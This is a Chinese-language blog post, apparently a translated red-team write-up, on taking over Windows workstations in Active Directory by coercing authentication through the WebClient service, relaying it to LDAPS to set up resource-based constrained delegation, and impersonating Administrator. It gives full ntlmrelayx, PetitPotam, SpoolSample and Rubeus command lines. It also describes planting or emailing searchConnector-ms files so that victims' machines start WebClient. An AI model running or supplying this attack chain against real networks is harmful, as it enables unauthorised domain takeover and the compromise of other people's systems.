从 RPC 到 RCE - 通过 RBCD 和 MS-RPC 接管工作站

2022-07-13 08:57:45 浏览数 (1)

在 Active Directory 的默认配置中,可以在其 WebClient 服务运行时远程接管工作站 (Windows 7/10/11) 和可能的服务器(如果安装了桌面体验)。简而言之,这是通过以下方式完成的;

  • 通过 MS-RPRN 或 MS-EFSRPC 通过 HTTP 触发机器身份验证。这需要一组用于 RPC 调用的凭据。
  • 将该机器身份验证中继到 LDAPS 以配置 RBCD
  • RBCD 接管

需要注意的是,WebClient 服务不会在启动时自动启动。但是,如果已触发 WebClient 服务在工作站上启动(例如,通过某些 SharePoint 交互),您可以远程接管该系统。此外,有几种方法可以强制 WebClient 服务远程启动,我将在下面的一节中介绍这些方法。

RPC 到 RCE 的步骤

  1. 开始设置到 LDAPS 服务器的中继以配置 RBCD。
代码语言:javascript复制
ntlmrelayx.py -t ldaps://dc.windomain.local --delegate-access
  1. 尝试通过 HTTP 向您的中继触发机器身份验证。这可以通过众所周知的 RPC 调用(无疑还有其他各种未发布的调用)来完成
代码语言:javascript复制
PetitPotam.exe logger@80/a.txt 192.168.38.104
代码语言:javascript复制
SpoolSample.exe 192.168.38.104 logger@80/asdf 

注意这个关键步骤(远程机器身份验证)的工作;

  • WebClient 服务需要在目标(本例中为 192.168.38.104)上运行。它可能已经在某些工作站上启动。您可以通过 PowerShell 命令远程枚举它,该命令Get-NTFile -Win32Path '\target-ippipeDAV RPC SERVICE'返回命名管道(如果可访问)。
  • 您的攻击主机(logger在我的示例中)需要被视为目标划分的“内部网”。实现此目的的一种方法是使用攻击主机的 netbios 名称(无句点)。
  • 上面用于强制 HTTP 身份验证的 URI 语法(交换攻击主机名)。
  • 必须禁用 LDAP 签名/通道绑定(这是默认设置)。
  1. 如果强制执行机器身份验证,您应该会看到成功中继到 LDAPS(假设 DC 上未启用通道绑定/签名)。这将导致创建一个为其配置了 RBCD 的计算机帐户。如果无法创建机器帐户,您也可以为已经被入侵的机器配置 RBCD。
  1. 从这里开始,只需遵循标准的 RBCD 接管方法即可。我切换到 Rubeus,因为我的 Linux 主机尚未配置 Kerberos 身份验证,但当然您可以从一台主机完成所有这些操作。

计算密码哈希:

代码语言:javascript复制
Rubeus.exe hash /password:NkQuBzsPk_AqKC6 /user:ZESLUQVX$ /domain:windomain.local

通过 S4U2Proxy 执行模拟:

代码语言:javascript复制
Rubeus.exe s4u /user:ZESLUQVX$ /rc4:D57DFD6E3BCDB1C2BF4D02CEE32F58C3 /impersonateuser:Administrator /msdsspn:cifs/WIN10.WINDOMAIN.LOCAL /ptt

强制 WebClient 服务启动

在我的简短研究/测试中,我发现“搜索连接器”文件可用于启动 WebClient 服务。如果您将所述文件放置在本地,它将在本地启动服务(允许 LPE),或者您可以将所述文件放置在您具有写入权限的 SMB 共享上。当域用户浏览该 SMB 共享并查看您植入的“searchConnector-ms”文件时,WebClient 服务将在他们的工作站上启动,您可以继续执行上面的步骤 2。当然,您也可以尝试 NTLM 中继用户身份验证,但我们在这里的讨论/目标只是让 WebClient 启动以启用机器接管。

创建 SearchConnector-ms 文件:

您可以将 HTTP 目标设置为攻击者主机,以便知道哪个工作站启动了 WebClient。

作为一种替代方法(尽管不那么隐蔽),您可以通过电子邮件向您的目标发送“搜索连接器”文件。如果用户尝试打开文件,WebClient 服务将在他们的工作站上启动。

0 人点赞